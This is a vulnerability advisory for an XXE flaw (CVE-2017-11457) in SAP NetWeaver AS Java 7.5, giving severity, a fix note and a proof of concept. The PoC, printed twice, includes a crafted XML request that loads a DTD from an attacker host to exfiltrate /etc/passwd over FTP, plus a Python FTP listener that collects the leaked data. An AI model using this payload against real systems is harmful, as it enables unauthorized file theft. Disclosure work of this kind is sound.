SAP NetWeaver AS Java 7.5 XXE in com.sap.km.cm.ice

Application: SAP NetWeaver AS Java **Versions Affected:**SAP NetWeaver AS Java 7.5 Vendor URL: SAP **Bugs:**XXE **Reported:**17.06.2016 **Vendor response:**18.06.2016 **Date of Public Advisory:**11.04.2017 **Reference: **SAP Security Note 2387249 Author: Mathieu Geli (ERPScan)

VULNERABILITY INFORMATION

Class: XXE
Impact: File disclosure, network discovery
Remotely Exploitable: yes
Locally Exploitable: no
CVE Name: CVE-2017-11457

CVSS Information

CVSS v3 Base Score: 4.9 / 10
CVSS v3 Base Vector:

AV: Attack Vector (Related exploit range)	Network (N)
AC: Attack Complexity (Required attack complexity)	Low (L)
PR: Privileges Required (Level of privileges needed to exploit)	High(H)
UI: User Interaction (Required user participation)	None (N)
S: Scope (Change in scope due to impact caused to components beyond the vulnerable component)	Unchanged (U)
C: Impact to Confidentiality	None (N)
I: Impact to Integrity	None (N)
A: Impact to Availability	High (H)

Description

A malicious user can modify an XML-based request to include XML content that is then parsed locally.

Business risk

An attacker can use an XML external entity vulnerability to send specially crafted unauthorized XML requests, which will be processed by XML parser. The attacker can use an XML external entity vulnerability for getting unauthorized access to OS file system.

VULNERABLE PACKAGES

SAP NetWeaver 7.5
Validated on kernel 745

SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2387249

TECHNICAL DESCRIPTION

A malicious user can modify an XML-based request to include XML content that is then parsed locally.

Proof of Concept

POST /irj/servlet/prt/portal/prtroot/com.sap.km.cm.ice HTTP/1.1 Host: <host>:<port> Authorization: Basic dXNlcjpwYXNzd29yZA== User-Agent: curl/7.43.0 Accept: / Content-Type: xml;charset=UTF-8 Content-Length: 181 <?xml version=“1.0” encoding=“ISO-8859-1”?> <!DOCTYPE foo [ <!ENTITY % pe SYSTEM “http://ATTACKERIP/xxe_file”> %pe; %param1; <!ELEMENT foo (#PCDATA)> ]> &leak; and xxe_file is: <!ENTITY % payload SYSTEM “file:///etc/passwd”> <!ENTITY % param1 “<!ENTITY leak SYSTEM ‘ftp://<ATTACKERIP>:2121/%payload;’>”> On ATTACKERIP we start an python FTP daemon on port 2121 : #!/usr/bin/env python from future import print_function import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((‘0.0.0.0’,2121)) s.listen(1) print(‘XXE-FTP listening ‘) conn,addr = s.accept() print(‘Connected by %s’,addr) conn.sendall(‘220 Staal XXE-FTP\r\n’) stop = False while not stop: dp = str(conn.recv(1024)) if dp.find(“USER”) > -1: conn.sendall(“331 password please - version check\r\n”) else: conn.sendall(“230 more data please!\r\n”) if dp.find(“RETR”)==0 or dp.find(“QUIT”)==0: stop = True if dp.find(“CWD”) > -1: print(dp.replace(‘CWD ‘,’/’,1).replace(’\r\n’,‘’),end=‘’) else: print(dp) conn.close() s.close()

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POST /irj/servlet/prt/portal/prtroot/com.sap.km.cm.ice HTTP/1.1

Host: <host>:<port>

Authorization: Basic dXNlcjpwYXNzd29yZA==

User-Agent: curl/7.43.0

Accept: /

Content-Type: xml;charset=UTF-8

Content-Length: 181

<?xml version=“1.0” encoding=“ISO-8859-1”?>

<!DOCTYPE foo [

<!ENTITY % pe SYSTEM “http://ATTACKERIP/xxe_file”>

%pe;

%param1;

<!ELEMENT foo (#PCDATA)>

]>

&leak;

and xxe_file is:

<!ENTITY % payload SYSTEM “file:///etc/passwd”>

<!ENTITY % param1 “<!ENTITY leak SYSTEM ‘ftp://<ATTACKERIP>:2121/%payload;’>”>

On ATTACKERIP we start an python FTP daemon on port 2121 :

#!/usr/bin/env python

from future import print_function

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind((‘0.0.0.0’,2121))

s.listen(1)

print('XXE-FTP listening ')

conn,addr = s.accept()

print(‘Connected by %s’,addr)

conn.sendall(‘220 Staal XXE-FTP\r\n’)

stop = False

while not stop:

dp = str(conn.recv(1024))

if dp.find(“USER”) > -1:

conn.sendall(“331 password please - version check\r\n”)

else:

conn.sendall(“230 more data please!\r\n”)

if dp.find(“RETR”)==0 or dp.find(“QUIT”)==0:

stop = True

if dp.find(“CWD”) > -1:

print(dp.replace(‘CWD ‘,’/’,1).replace(‘\r\n’,‘’),end=‘’)

else:

print(dp)

conn.close()

s.close()

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